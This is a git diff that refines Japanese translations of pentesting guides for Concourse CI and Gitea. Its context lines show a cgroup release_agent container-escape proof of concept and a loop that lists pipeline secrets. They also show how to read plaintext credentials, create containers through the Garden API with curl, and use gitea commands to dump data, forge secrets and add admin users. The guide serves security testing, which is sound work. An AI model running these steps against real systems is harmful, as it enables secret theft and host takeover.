-- **Garden**: これは**コンテナ管理API**で、通常は**ポート7777**で**HTTP**を介して実行されます。
-- **Baggageclaim**: これは**ボリューム管理API**で、通常は**ポート7788**で**HTTP**を介して実行されます。
+- **Garden**: これは**コンテナ管理API**で、通常は**ポート 7777**で**HTTP**を介して実行されます。
+- **Baggageclaim**: これは**ボリューム管理API**で、通常は**ポート 7788**で**HTTP**を介して実行されます。
 
 ## References
 

src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md

@@ -11,11 +11,11 @@ Concourse には5つのロールがあります：
 - _Concourse_ **Admin**: このロールは **メインチーム**（デフォルトの初期 concourse チーム）の所有者にのみ与えられます。管理者は **他のチームを構成**できます（例：`fly set-team`、`fly destroy-team`...）。このロールの権限は RBAC によって影響を受けません。
 - **owner**: チームの所有者は **チーム内のすべてを変更**できます。
 - **member**: チームメンバーは **チームの資産内で読み書き**できますが、チーム設定を変更することはできません。
-- **pipeline-operator**: パイプラインオペレーターは **パイプライン操作**（ビルドのトリガーやリソースのピン留めなど）を実行できますが、パイプライン設定を更新することはできません。
-- **viewer**: チームのビューワーはチームとそのパイプラインに **「読み取り専用」アクセス**を持っています。
+- **pipeline-operator**: パイプラインオペレーターはビルドのトリガーやリソースのピン留めなどの **パイプライン操作**を実行できますが、パイプライン設定を更新することはできません。
+- **viewer**: チームのビューワーはチームとそのパイプラインに対して **「読み取り専用」アクセス**を持っています。
 
 > [!NOTE]
-> さらに、**owner、member、pipeline-operator、viewer のロールの権限は** RBAC を構成することで変更できます（具体的にはそのアクションを構成します）。詳細については、[https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)を参照してください。
+> さらに、**owner、member、pipeline-operator、viewer のロールの権限は** RBAC を構成することで **変更可能です**（具体的にはそのアクションを構成します）。詳細については、[https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)を参照してください。
 
 Concourse は **チーム内にパイプラインをグループ化**します。したがって、チームに属するユーザーはそれらのパイプラインを管理でき、**複数のチーム**が存在する可能性があります。ユーザーは複数のチームに属し、それぞれのチーム内で異なる権限を持つことができます。
 
@@ -23,7 +23,7 @@ Concourse は **チーム内にパイプラインをグループ化**します
 
 YAML 設定では、`((_source-name_:_secret-path_._secret-field_))` の構文を使用して値を構成できます。\
 [ドキュメントから：](https://concourse-ci.org/vars.html#var-syntax) **source-name はオプション**であり、省略した場合は [クラスター全体の資格情報マネージャー](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) が使用されるか、値が [静的に提供される](https://concourse-ci.org/vars.html#static-vars)場合があります。\
-**オプションの \_secret-field**\_ は、取得したシークレットから読み取るフィールドを指定します。省略した場合、資格情報マネージャーはフィールドが存在する場合、取得した資格情報から「デフォルトフィールド」を読み取ることを選択することがあります。\
+**オプションの \_secret-field**\_ は取得した秘密のフィールドを読み取るために指定します。省略した場合、資格情報マネージャーはフィールドが存在する場合、取得した資格情報から「デフォルトフィールド」を読み取ることを選択することがあります。\
 さらに、_**secret-path**_ と _**secret-field**_ は、`。` や `:` のような **特殊文字**を含む場合、二重引用符 `"..."` で囲むことができます。たとえば、`((source:"my.secret"."field:1"))` は _secret-path_ を `my.secret` に、_secret-field_ を `field:1` に設定します。
 
 #### 静的変数
@@ -34,17 +34,17 @@ YAML 設定では、`((_source-name_:_secret-path_._secret-field_))` の構文
 file: booklit/ci/unit.yml
 vars: { tag: 1.13 }
 ```
-Or using the following `fly` **arguments**:
+以下の `fly` **引数**を使用します：
 
-- `-v` or `--var` `NAME=VALUE` は、文字列 `VALUE` を var `NAME` の値として設定します。
-- `-y` or `--yaml-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、var `NAME` の値として設定します。
-- `-i` or `--instance-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、インスタンス var `NAME` の値として設定します。インスタンス var について詳しくは [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) を参照してください。
-- `-l` or `--load-vars-from` `FILE` は、var 名と値のマッピングを含む YAML ドキュメント `FILE` を読み込み、すべてを設定します。
+- `-v` または `--var` `NAME=VALUE` は、文字列 `VALUE` を変数 `NAME` の値として設定します。
+- `-y` または `--yaml-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、変数 `NAME` の値として設定します。
+- `-i` または `--instance-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、インスタンス変数 `NAME` の値として設定します。インスタンス変数について詳しくは [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) を参照してください。
+- `-l` または `--load-vars-from` `FILE` は、変数名と値のマッピングを含む YAML ドキュメント `FILE` を読み込み、すべてを設定します。
 
-#### Credential Management
+#### 認証情報管理
 
 パイプラインで **Credential Manager を指定する方法** はいくつかあります。詳細は [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html) をお読みください。\
-さらに、Concourse は異なる Credential Manager をサポートしています：
+さらに、Concourse は異なる認証情報マネージャーをサポートしています：
 
 - [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
 - [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
@@ -57,13 +57,13 @@ Or using the following `fly` **arguments**:
 - [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
 
 > [!CAUTION]
-> Concourse に対して何らかの **書き込みアクセス** がある場合、**それらの秘密を外部に持ち出す** ジョブを作成できることに注意してください。Concourse はそれらにアクセスできる必要があります。
+> **Concourse** に対して何らかの **書き込みアクセス** がある場合、ジョブを作成して **それらの秘密を流出させる** ことができることに注意してください。
 
-### Concourse Enumeration
+### Concourse 列挙
 
-Concourse 環境を列挙するには、まず **有効な資格情報を収集する** か、`.flyrc` 設定ファイルにある **認証トークンを見つける** 必要があります。
+Concourse 環境を列挙するには、まず **有効な認証情報を収集する** か、`.flyrc` 設定ファイルにある **認証トークン** を見つける必要があります。
 
-#### Login and Current User enum
+#### ログインと現在のユーザー列挙
 
 - ログインするには、**エンドポイント**、**チーム名**（デフォルトは `main`）、および **ユーザーが所属するチーム** を知っている必要があります：
 - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
@@ -75,9 +75,9 @@ Concourse 環境を列挙するには、まず **有効な資格情報を収集
 - `fly -t <target> userinfo`
 
 > [!NOTE]
-> **API トークン** はデフォルトで `$HOME/.flyrc` に **保存** されるため、マシンを略奪する際にそこに資格情報が見つかる可能性があります。
+> **API トークン** はデフォルトで `$HOME/.flyrc` に **保存** されるため、マシンを略奪する際にそこに認証情報が見つかる可能性があります。
 
-#### Teams & Users
+#### チームとユーザー
 
 - チームのリストを取得：
 - `fly -t <target> teams`
@@ -86,7 +86,7 @@ Concourse 環境を列挙するには、まず **有効な資格情報を収集
 - ユーザーのリストを取得：
 - `fly -t <target> active-users`
 
-#### Pipelines
+#### パイプライン
 
 - **パイプラインのリスト**：
 - `fly -t <target> pipelines -a`
@@ -94,7 +94,7 @@ Concourse 環境を列挙するには、まず **有効な資格情報を収集
 - `fly -t <target> get-pipeline -p <pipeline-name>`
 - すべてのパイプライン **設定された変数** を取得：
 - `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
-- 使用されているすべての **パイプラインの秘密の名前** を取得（ジョブを作成/変更したり、コンテナをハイジャックしたりできる場合、外部に持ち出すことができます）：
+- 使用されているすべての **パイプラインの秘密の名前** を取得（ジョブを作成/変更したり、コンテナをハイジャックしたりできる場合、流出させることができます）：
 ```bash
 rm /tmp/secrets.txt;
 for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
@@ -137,7 +137,7 @@ fly -t tutorial intercept # To be presented a prompt with all the options
 これらの権限があれば、次のことができるかもしれません：
 
 - **コンテナ**内の**秘密**を**盗む**
-- **ノード**に**脱出**しようとする
+- **ノード**に**エスケープ**しようとする
 - **クラウドメタデータ**エンドポイントを列挙/悪用する（ポッドおよびノードから、可能であれば）
 
 #### パイプラインの作成/変更
@@ -168,8 +168,8 @@ SUPER_SECRET: ((super.secret))
 ```
 新しいパイプラインの**変更/作成**により、次のことが可能になります：
 
-- **秘密**を**盗む**（エコー出力するか、コンテナ内に入り`env`を実行することで）
-- **ノード**に**脱出**する（十分な権限を与えることで - `privileged: true`）
+- **秘密**を**盗む**（それらをエコー出力するか、コンテナ内に入り`env`を実行することで）
+- **ノード**に**エスケープ**する（十分な権限を与えることで - `privileged: true`）
 - **クラウドメタデータ**エンドポイントを列挙/悪用する（ポッドおよびノードから）
 - 作成したパイプラインを**削除**する
 
@@ -201,7 +201,7 @@ fly -t tutorial execute --privileged --config task_config.yml
 
 前のセクションでは、**concourseで特権タスクを実行する方法**を見ました。これは、dockerコンテナの特権フラグと同じアクセスをコンテナに与えるわけではありません。例えば、/devにノードのファイルシステムデバイスは表示されないため、エスケープはより「複雑」になる可能性があります。
 
-次のPoCでは、リリースエージェントを使用して、いくつかの小さな変更を加えてエスケープします：
+次のPoCでは、いくつかの小さな修正を加えてrelease_agentを使用してエスケープします：
 ```bash
 # Mounts the RDMA cgroup controller and create a child cgroup
 # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -260,11 +260,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
 cat /output
 ```
 > [!WARNING]
-> ご覧の通り、これは単なる [**通常の release_agent エスケープ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) であり、ノード内の cmd のパスを変更するだけです。
+> ご覧の通り、これは単なる[**通常のrelease_agentエスケープ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md)であり、ノード内のcmdのパスを変更するだけです。
 
-#### ワーカーコンテナからノードへのエスケープ
+#### Workerコンテナからノードへのエスケープ
 
-このためには、わずかな修正を加えた通常の release_agent エスケープで十分です：
+このためには、わずかな修正を加えた通常のrelease_agentエスケープで十分です：
 ```bash
 mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 
@@ -293,9 +293,9 @@ cat /output
 ```
 #### Webコンテナからノードへのエスケープ
 
-ウェブコンテナにいくつかの防御が無効になっていても、それは**一般的な特権コンテナとして実行されていません**（例えば、**マウント**できず、**能力**は非常に**制限されています**。そのため、コンテナからエスケープするための簡単な方法は無駄です）。
+Webコンテナにいくつかの防御が無効になっていても、**一般的な特権コンテナとして実行されていません**（例えば、**マウント**できず、**能力**は非常に**制限されています**。そのため、コンテナからエスケープするための簡単な方法は無駄です）。
 
-しかし、**ローカルの資格情報を平文で保存しています**：
+しかし、**ローカルの資格情報が平文で保存されています**：
 ```bash
 cat /concourse-auth/local-users
 test:test
@@ -304,7 +304,7 @@ env | grep -i local_user
 CONCOURSE_MAIN_TEAM_LOCAL_USER=test
 CONCOURSE_ADD_LOCAL_USER=test:test
 ```
-その資格情報を使用して、**ウェブサーバーにログイン**し、**特権コンテナを作成してノードに脱出**することができます。
+その資格情報を使用して**ウェブサーバーにログイン**し、**特権コンテナを作成してノードにエスケープ**することができます。
 
 環境内では、concourseが使用する**postgresql**インスタンスにアクセスするための情報（アドレス、**ユーザー名**、**パスワード**、およびデータベースなどの情報）も見つけることができます。
 ```bash
@@ -332,12 +332,12 @@ select * from users;
 > [!WARNING]
 > これはサービスに関するいくつかの興味深いメモですが、ローカルホストでのみリッスンしているため、これらのメモは私たちがすでに利用したことのない影響をもたらすことはありません。
 
-デフォルトでは、各コンコースワーカーはポート7777で[**Garden**](https://github.com/cloudfoundry/garden)サービスを実行します。このサービスは、ウェブマスターがワーカーに**実行する必要があること**（イメージをダウンロードし、各タスクを実行する）を示すために使用されます。これは攻撃者にとってはかなり良いように思えますが、いくつかの優れた保護があります：
+デフォルトでは、各concourseワーカーはポート7777で[**Garden**](https://github.com/cloudfoundry/garden)サービスを実行します。このサービスは、Webマスターがワーカーに**実行する必要があること**（イメージをダウンロードし、各タスクを実行する）を示すために使用されます。これは攻撃者にとってはかなり良いように思えますが、いくつかの優れた保護があります：
 
-- それは**ローカルにのみ公開されています**（127..0.0.1）し、ワーカーが特別なSSHサービスでウェブに対して認証されるとき、トンネルが作成され、ウェブサーバーが各ワーカー内の**各Gardenサービス**と**通信できる**ようになります。
-- ウェブサーバーは**数秒ごとに実行中のコンテナを監視しており**、**予期しない**コンテナは**削除されます**。したがって、**カスタムコンテナを実行したい**場合は、ウェブサーバーとガーデンサービス間の**通信**を**改ざん**する必要があります。
+- それは**ローカルにのみ公開されています**（127..0.0.1）し、ワーカーが特別なSSHサービスでWebに対して認証するときに、各ワーカー内の各Gardenサービスと**通信するためのトンネル**が作成されると思います。
+- Webサーバーは**数秒ごとに実行中のコンテナを監視しており**、**予期しない**コンテナは**削除されます**。したがって、**カスタムコンテナを実行したい**場合は、Webサーバーとガーデンサービス間の**通信**を**改ざん**する必要があります。
 
-コンコースワーカーは高いコンテナ特権で実行されます：
+Concourseワーカーは高いコンテナ特権で実行されます：
 ```
 Container Runtime: docker
 Has Namespaces:
@@ -348,10 +348,10 @@ Capabilities:
 BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
 Seccomp: disabled
 ```
-しかし、ノードの /dev デバイスや release_agent を **マウント**するような技術は **機能しません**（ノードのファイルシステムを持つ実際のデバイスにはアクセスできず、仮想デバイスのみです）。ノードのプロセスにアクセスできないため、カーネルエクスプロイトなしでノードから脱出することは複雑になります。
+しかし、ノードの/devデバイスやrelease_agentを**マウント**するような技術は**機能しません**（ノードのファイルシステムを持つ実際のデバイスにはアクセスできず、仮想デバイスのみです）。ノードのプロセスにアクセスできないため、カーネルエクスプロイトなしでノードから脱出することは複雑になります。
 
 > [!NOTE]
-> 前のセクションでは特権コンテナから脱出する方法を見ましたので、**現在の** **ワーカー**によって作成された **特権コンテナ** でコマンドを **実行**できる場合、**ノードに脱出**できる可能性があります。
+> 前のセクションでは特権コンテナから脱出する方法を見ましたので、**現在の** **ワーカー**によって作成された**特権コンテナ**でコマンドを**実行**できる場合、**ノードに脱出**できる可能性があります。
 
 concourseで遊んでいると、新しいコンテナが何かを実行するために生成されるとき、コンテナプロセスはワーカーコンテナからアクセス可能であることに気付きました。つまり、コンテナがその内部に新しいコンテナを作成しているようなものです。
 
@@ -376,7 +376,7 @@ nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
 ```
 **新しい特権コンテナの作成**
 
-ランダムなUIDを実行するだけで、新しいコンテナを非常に簡単に作成し、その上で何かを実行できます:
+ランダムなUIDを実行するだけで、新しいコンテナを非常に簡単に作成し、その上で何かを実行できます：
 ```bash
 curl -X POST http://127.0.0.1:7777/containers \
 -H 'Content-Type: application/json' \

src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md

@@ -13,11 +13,11 @@
 wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
 docker-compose up -d
 ```
-`fly`コマンドラインをあなたのOS用にウェブから`127.0.0.1:8080`でダウンロードできます。
+コマンドライン `fly` をあなたのOS用にウェブから `127.0.0.1:8080` でダウンロードできます。
 
 #### Kubernetesを使用して（推奨）
 
-**Kubernetes**（例えば**minikube**）に簡単にconcourseをデプロイするには、helm-chartを使用します: [**concourse-chart**](https://github.com/concourse/concourse-chart)。
+**Kubernetes**（例えば**minikube**）でhelm-chartを使用してconcourseを簡単にデプロイできます: [**concourse-chart**](https://github.com/concourse/concourse-chart)。
 ```bash
 brew install helm
 helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse
 # If you need to delete it
 helm delete concourse-release
 ```
-concourse envを生成した後、秘密を生成し、concourse webで実行されているSAにK8sの秘密にアクセスする権限を与えることができます:
+concourse環境を生成した後、秘密を生成し、concourse webで実行されているSAにK8sの秘密にアクセスする権限を与えることができます：
 ```yaml
 echo 'apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
@@ -69,7 +69,7 @@ secret: MWYyZDFlMmU2N2Rm
 ```
 ### パイプラインの作成
 
-パイプラインは、順序付きの[ステップ](https://concourse-ci.org/steps.html)のリストを含む[ジョブ](https://concourse-ci.org/jobs.html)のリストで構成されています。
+パイプラインは、順序付きの[ジョブ](https://concourse-ci.org/jobs.html)のリストで構成されています。
 
 ### ステップ
 
@@ -79,13 +79,13 @@ secret: MWYyZDFlMmU2N2Rm
 - the [`get` step](https://concourse-ci.org/get-step.html) は [resource](https://concourse-ci.org/resources.html) を取得します
 - the [`put` step](https://concourse-ci.org/put-step.html) は [resource](https://concourse-ci.org/resources.html) を更新します
 - the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) は [pipeline](https://concourse-ci.org/pipelines.html) を構成します
-- the [`load_var` step](https://concourse-ci.org/load-var-step.html) は値を [local var](https://concourse-ci.org/vars.html#local-vars) にロードします
+- the [`load_var` step](https://concourse-ci.org/load-var-step.html) は [local var](https://concourse-ci.org/vars.html#local-vars) に値をロードします
 - the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) はステップを並行して実行します
 - the [`do` step](https://concourse-ci.org/do-step.html) はステップを順番に実行します
-- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) はステップを複数回実行します；変数の値の組み合わせごとに1回実行します
+- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) はステップを複数回実行します；変数の値の組み合わせごとに1回
 - the [`try` step](https://concourse-ci.org/try-step.html) はステップを実行しようとし、ステップが失敗しても成功します
 
-各[ステップ](https://concourse-ci.org/steps.html)は[ジョブプラン](https://concourse-ci.org/jobs.html#schema.job.plan)内で**独自のコンテナ**で実行されます。コンテナ内で何でも実行できます _(つまり、テストを実行する、bashスクリプトを実行する、このイメージをビルドするなど)。_ したがって、5つのステップを持つジョブがある場合、Concourseは各ステップのために5つのコンテナを作成します。
+各[ステップ](https://concourse-ci.org/steps.html)は、[ジョブプラン](https://concourse-ci.org/jobs.html#schema.job.plan)内で**独自のコンテナ**で実行されます。コンテナ内で何でも実行できます _(つまり、テストを実行する、bashスクリプトを実行する、このイメージをビルドするなど)。_ したがって、5つのステップを持つジョブがある場合、Concourseは各ステップのために5つのコンテナを作成します。
 
 したがって、各ステップが実行される必要があるコンテナのタイプを指定することが可能です。
 
@@ -123,7 +123,7 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
 # From another console
 fly -t tutorial intercept --job pipe-name/simple
 ```
-**127.0.0.1:8080** にアクセスして、パイプラインのフローを確認してください。
+**127.0.0.1:8080** にアクセスしてパイプラインのフローを確認してください。
 
 ### 出力/入力パイプラインを持つBashスクリプト
 

src/pentesting-ci-cd/gitea-security/README.md

@@ -1,4 +1,4 @@
-# Gitea Security
+# Giteaのセキュリティ
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -16,13 +16,13 @@ basic-gitea-information.md
 
 ## ラボ
 
-Giteaインスタンスをローカルで実行するには、単にdockerコンテナを実行するだけです：
+ローカルでGiteaインスタンスを実行するには、単にdockerコンテナを実行するだけです：
 ```bash
 docker run -p 3000:3000 gitea/gitea
 ```
 ポート3000に接続してウェブページにアクセスします。
 
-Kubernetesで実行することもできます：
+Kubernetesで実行することもできます:
 ```
 helm repo add gitea-charts https://dl.gitea.io/charts/
 helm install gitea gitea-charts/gitea
@@ -33,7 +33,7 @@ helm install gitea gitea-charts/gitea
 - 登録ユーザー: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
 - 登録組織: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
 
-デフォルトでは、**Giteaは新しいユーザーの登録を許可します**。これにより、新しいユーザーが他の組織やユーザーのリポジトリに対して特に興味深いアクセスを得ることはありませんが、**ログインしたユーザー**は**より多くのリポジトリや組織を視覚化できる**かもしれません。
+デフォルトでは、**Giteaは新しいユーザーの登録を許可します**。これにより、新しいユーザーが他の組織やユーザーのリポジトリに特別なアクセスを得ることはありませんが、**ログインしたユーザー**は**より多くのリポジトリや組織を視覚化できる**かもしれません。
 
 ## 内部悪用
 
@@ -41,7 +41,7 @@ helm install gitea gitea-charts/gitea
 
 ### ユーザー資格情報/ウェブクッキーを使用して
 
-もしあなたが組織内のユーザーの資格情報を何らかの方法で持っている場合（またはセッションクッキーを盗んだ場合）、**ただログイン**して、どの**リポジトリに対してどの**権限を持っているか、**どのチームにいるか、**他のユーザーを**リストし、**リポジトリがどのように保護されているかを確認できます。**
+もしあなたが組織内のユーザーの資格情報を持っている場合（またはセッションクッキーを盗んだ場合）、**ただログイン**して、どの**リポジトリに対してどの**権限を持っているか、**どのチームにいるか、**他のユーザーを**リストし、**リポジトリがどのように保護されているかを確認できます。**
 
 **2FAが使用される可能性がある**ため、そのチェックを**通過できる**場合にのみ、この情報にアクセスできることに注意してください。
 
@@ -52,64 +52,64 @@ helm install gitea gitea-charts/gitea
 
 Giteaは**ユーザー**が**SSHキー**を設定することを許可しており、これが**コードをデプロイするための認証方法**として使用されます（2FAは適用されません）。
 
-このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで**変更を行う**ことができますが、gitea APIにアクセスして環境を列挙するためには使用できません。ただし、**ローカル設定を列挙**して、アクセスできるリポジトリやユーザーに関する情報を取得できます:
+このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで**変更を行う**ことができますが、gitea APIにアクセスして環境を列挙するためには使用できません。ただし、**ローカル設定を列挙**して、アクセスできるリポジトリやユーザーに関する情報を取得できます。
 ```bash
 # Go to the the repository folder
 # Get repo config and current user name and email
 git config --list
 ```
-ユーザーが自分のgiteaユーザー名としてユーザー名を設定している場合、_https://github.com/\<gitea_username>.keys_ で彼のアカウントに設定された**公開鍵**にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。
+ユーザーが自分の gitea ユーザー名としてユーザー名を設定している場合、_https://github.com/\<gitea_username>.keys_ で彼のアカウントに設定された **公開鍵** にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。
 
-**SSH鍵**はリポジトリに**デプロイ鍵**としても設定できます。この鍵にアクセスできる人は、**リポジトリからプロジェクトを起動**できるようになります。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル**`~/.ssh/config`**が鍵に関連する情報を提供します。
+**SSH 鍵** は **デプロイ鍵** としてリポジトリに設定することもできます。この鍵にアクセスできる人は、**リポジトリからプロジェクトを起動する** ことができます。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル **`~/.ssh/config`** が関連する鍵に関する情報を提供します。
 
-#### GPG鍵
+#### GPG 鍵
 
-[**こちら**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md)で説明されているように、コミットに署名する必要がある場合や、発見される可能性があります。
+[**こちら**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) で説明されているように、コミットに署名する必要がある場合や、発見される可能性があります。
 
 現在のユーザーが鍵を持っているかどうかをローカルで確認してください:
 ```shell
 gpg --list-secret-keys --keyid-format=long
 ```
-### With User Token
+### ユーザートークンを使用して
 
-[**ユーザートークンについての基本情報を確認してください**](basic-gitea-information.md#personal-access-tokens)の紹介。
+[**ユーザートークンの基本情報については、こちらを確認してください**](basic-gitea-information.md#personal-access-tokens) 。
 
-ユーザートークンは、Giteaサーバーに**対して認証するために**、**パスワードの代わりに**使用できます[**API経由で**](https://try.gitea.io/api/swagger#/)。ユーザーに対して**完全なアクセス権**を持ちます。
+ユーザートークンは、Giteaサーバーに対して**認証**するために**パスワードの代わりに**使用できます[**API経由で**](https://try.gitea.io/api/swagger#/)。ユーザーに対して**完全なアクセス**を持ちます。
 
-### With Oauth Application
+### Oauthアプリケーションを使用して
 
-[**Gitea Oauthアプリケーションについての基本情報を確認してください**](./#with-oauth-application)の紹介。
+[**Gitea Oauthアプリケーションの基本情報については、こちらを確認してください**](./#with-oauth-application) 。
 
-攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるOauthアプリケーション**を作成して、特権データ/アクションにアクセスするかもしれません。
+攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある**悪意のあるOauthアプリケーション**を作成して、特権データやアクションにアクセスするかもしれません。
 
-基本情報で説明されているように、アプリケーションは**ユーザーアカウントに対して完全なアクセス権**を持ちます。
+基本情報で説明されているように、アプリケーションは**ユーザーアカウントに対して完全なアクセス**を持ちます。
 
-### Branch Protection Bypass
+### ブランチ保護のバイパス
 
-Githubには、デフォルトでリポジトリに**書き込みアクセス権を持つトークン**を取得する**github actions**があります。これを使用して**ブランチ保護を回避**できます。この場合、**存在しない**ため、回避策はより制限されます。しかし、何ができるか見てみましょう：
+Githubには、デフォルトでリポジトリに対して**書き込みアクセスを持つトークン**を取得する**github actions**があります。これを使用して**ブランチ保護をバイパス**できます。この場合は**存在しない**ため、バイパスはより制限されます。しかし、何ができるか見てみましょう：
 
-- **プッシュを有効にする**: 書き込みアクセス権を持つ誰かがブランチにプッシュできる場合、単にプッシュします。
+- **プッシュを有効にする**: 書き込みアクセスを持つ誰かがブランチにプッシュできる場合は、単にプッシュします。
 - **制限されたプッシュをホワイトリストに追加**: 同様に、このリストの一部であればブランチにプッシュします。
-- **マージホワイトリストを有効にする**: マージホワイトリストがある場合、その中にいる必要があります。
-- **承認が0より大きいことを要求**: それなら...別のユーザーを妥協させる必要があります。
-- **ホワイトリストに制限された承認**: ホワイトリストに登録されたユーザーのみが承認できる場合...そのリストにいる別のユーザーを妥協させる必要があります。
-- **古い承認を無効にする**: 新しいコミットで承認が削除されない場合、すでに承認されたPRをハイジャックしてコードを挿入し、PRをマージできます。
+- **マージホワイトリストを有効にする**: マージホワイトリストがある場合は、その中にいる必要があります。
+- **承認が0より大きいことを要求**: その場合... 別のユーザーを妥協させる必要があります。
+- **ホワイトリストに制限された承認**: ホワイトリストに登録されたユーザーのみが承認できる場合... そのリストにいる別のユーザーを妥協させる必要があります。
+- **古い承認を無効にする**: 新しいコミットで承認が削除されない場合、すでに承認されたPRをハイジャックしてコードを挿入し、PRをマージすることができます。
 
-**あなたが組織/リポジトリの管理者である場合**、保護を回避できることに注意してください。
+**あなたがorg/repoの管理者である場合**、保護をバイパスできることに注意してください。
 
-### Enumerate Webhooks
+### ウェブフックの列挙
 
-**Webhooks**は、**特定のgitea情報をいくつかの場所に送信することができます**。その通信を**悪用できるかもしれません**。\
-しかし、通常、**秘密**は**webhook**に設定されており、URLを知っている外部ユーザーが**そのwebhookを悪用するのを防ぎます**。\
+**ウェブフック**は、**特定のgitea情報をいくつかの場所に送信する**ことができます。その通信を**悪用する**ことができるかもしれません。\
+ただし、通常、**秘密**が**ウェブフック**に設定されており、URLを知っている外部ユーザーがその秘密を知らない場合、**そのウェブフックを悪用することを防ぎます**。\
 しかし、時には、秘密をその場所に設定する代わりに、**URLにパラメータとして設定する**人もいるため、**URLを確認することで**秘密や他の悪用できる場所を**見つけることができるかもしれません**。
 
-Webhooksは**リポジトリと組織レベル**で設定できます。
+ウェブフックは**リポジトリと組織レベル**で設定できます。
 
-## Post Exploitation
+## ポストエクスプロイテーション
 
-### Inside the server
+### サーバー内
 
-もし何らかの方法でgiteaが実行されているサーバーに入ることができたら、giteaの設定ファイルを探すべきです。デフォルトでは`/data/gitea/conf/app.ini`にあります。
+もし何らかの方法でgiteaが実行されているサーバーに入ることができたら、giteaの設定ファイルを探すべきです。デフォルトでは、`/data/gitea/conf/app.ini`にあります。
 
 このファイルには**キー**や**パスワード**が含まれています。
 
@@ -117,13 +117,13 @@ giteaのパス（デフォルト：/data/gitea）には、次のような興味
 
 - **sqlite** DB: giteaが外部DBを使用していない場合、sqlite DBを使用します。
 - **セッション**フォルダー内の**セッション**: `cat sessions/*/*/*`を実行すると、ログインしているユーザーのユーザー名を見ることができます（giteaはDB内にセッションを保存することもあります）。
-- **jwtフォルダー内のjwtプライベートキー**
-- このフォルダー内にはさらに**機密情報**が見つかる可能性があります。
+- **jwtプライベートキー**がjwtフォルダー内にあります。
+- このフォルダーにはさらに**機密情報**が見つかる可能性があります。
 
-サーバー内にいる場合、**`gitea`バイナリを使用して情報にアクセス/変更できます**：
+サーバー内にいる場合、**`gitea`バイナリを使用して情報にアクセス/変更することもできます**：
 
 - `gitea dump`はgiteaをダンプし、.zipファイルを生成します。
-- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET`は指定されたタイプのトークンを生成します（永続性）。
+- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET`は、指定されたタイプのトークンを生成します（永続性）。
 - `gitea admin user change-password --username admin --password newpassword` パスワードを変更します。
 - `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` 新しい管理ユーザーを作成し、アクセストークンを取得します。
 

src/pentesting-ci-cd/gitea-security/basic-gitea-information.md

@@ -1,10 +1,10 @@
-# Basic Gitea Information
+# 基本的なGitea情報
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Structure
+## 基本構造
 
-基本的なGitea環境の構造は、**組織**によってリポジトリをグループ化することです。各組織は**いくつかのリポジトリ**と**いくつかのチーム**を含むことができます。ただし、githubと同様に、ユーザーは組織の外にリポジトリを持つことができます。
